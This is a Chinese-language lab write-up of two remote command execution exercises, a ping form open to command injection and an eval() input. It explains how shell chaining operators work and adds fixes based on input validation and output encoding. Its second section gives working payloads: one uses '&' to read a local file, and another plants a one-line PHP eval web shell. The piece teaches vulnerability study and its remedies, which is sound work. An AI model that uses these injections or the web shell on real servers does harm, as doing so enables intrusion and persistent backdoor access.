一、介绍
RCE(remote command execute),中文名称为远程命令执行。由于在Web开发中使用了如eval()、system()等命令执行函数或代码执行函数,但未对用户的输入进行检查,使得攻击者可以输入构造好的数据,在目标服务器上执行恶意命令,造成严重的安全问题。
二、exec "ping"
首先根据提示,输入目标的IP地址,看看有什么回显后再进行分析。
这里输入了127.0.0.1,可以看到出现了在命令提示符(cmd)中使用ping命令时的文字样式。那我们就可以猜测,此处的代码是接收了我们输入的IP,然后组合成字符串“ping 127.0.0.1”,最后传入如shell_exec()这样的命令执行函数当中,并将回显显示出来。
猜测完后,进入实际尝试,但在这之前先介绍一个知识点。在cmd中,是可以通过“|”、“&”、“&&”等符号一次执行多个命令的。
“|”,管道符,作用是将符号前的进程输出作为符号后进程的输入。如下面这条寻找当前系统所有与端口号80有关的网络连接信息,该命令用于显示所有活动的TCP连接以及侦听的TCP和UDP端口,然后在这个命令的回显中搜索带有“80”的内容。
netstat -ano | findstr "80"
“&”,后台执行符,作用是将命令放入后台进程队列中执行,不影响当前继续接收新命令,简单来说就是可以同时执行多条命令,比如:
echo hello & echo world
“&&”,条件执行符,和“&”类似,但只有在前一条命令执行成功后,后一条命令才会执行,比如:
ping 127.0.0.1 && echo success
ping 233 && echo success
在Linux中也有类似的符号,可以自行了解。
那么有了上述的知识,我们就可以开始尝试利用这里的漏洞了。
# 读取文件
127.0.0.1 & type C:\rcetest.txt
# 写入木马
127.0.0.1 & echo "<?php @eval($_POST['KURIA']);?>" > ../../1.php
这样这个漏洞就算利用完成了。
三、exec "eval"
同样的思路,先随便输入一个字符,但貌似没有得到什么有效的回复。
ps:这一步如果报错了,请降低php版本
其实第二关和第一关的本质是一样的,第一关使用了系统命令执行函数,第二关使用了php代码执行函数,二者都没有对用户的输入进行限制。我们输入一个用于测试php命令注入的函数。
# 获取php配置信息,注意分号
phpinfo();
可以看到,界面出现了执行phpinfo()的结果。同理,也可以执行其他的php函数,就不再演示。
四、修复方式
1.输入验证
对所有用户提交的数据进行严格的输入验证,过滤或转义特殊字符和命令,确保它们不会被执行。如上述的两个关卡,就是因为用户可以将任意内容作为参数传入函数,才导致的RCE。因此在设计功能时应充分地考虑可能出现的恶意输入,极端的情况可以使用白名单进行限制。
2.输出编码
除了输入,由于恶意构造的输入而产生的输出,也可能会间接的导致RCE,这一部分会和XSS有些关联。
攻击者通过构造恶意输入来触发XSS漏洞,而部分XSS可以利用浏览器的特性与存在漏洞的服务端交互,如获取部分系统权限,从而间接地触发RCE。因此,对输出进行编码确保所有不可信的输入在输出到浏览器之前都被转化为安全的形式,对于预防RCE也是有必要的。
五、后记
总而言之,RCE最常见的原因是未对输入进行严格的限制。为此应该事先设想好符合预期的用户输入,并以此作为展开设计限制规则。
很长的一段时间没有更新了,由于一直在忙实习和毕设的事情,这里搁置了很长的一段时间,但也不能说没有收获。非常感谢公司同事们给我的指导,这也让我认识到了一件很重要的事情,安全不能只了解漏洞是如何发生的,修复的方法显得更加重要一点,我希望任何看到这篇文章的新人在刚开始接触安全的时候就要了解到这件事情,应该能对你之后的工作学习生涯有所帮助。所以从这一篇开始,会添加上各种常见漏洞的修复方式。
那么下一关再见了 ^-^
Comments | NOTHING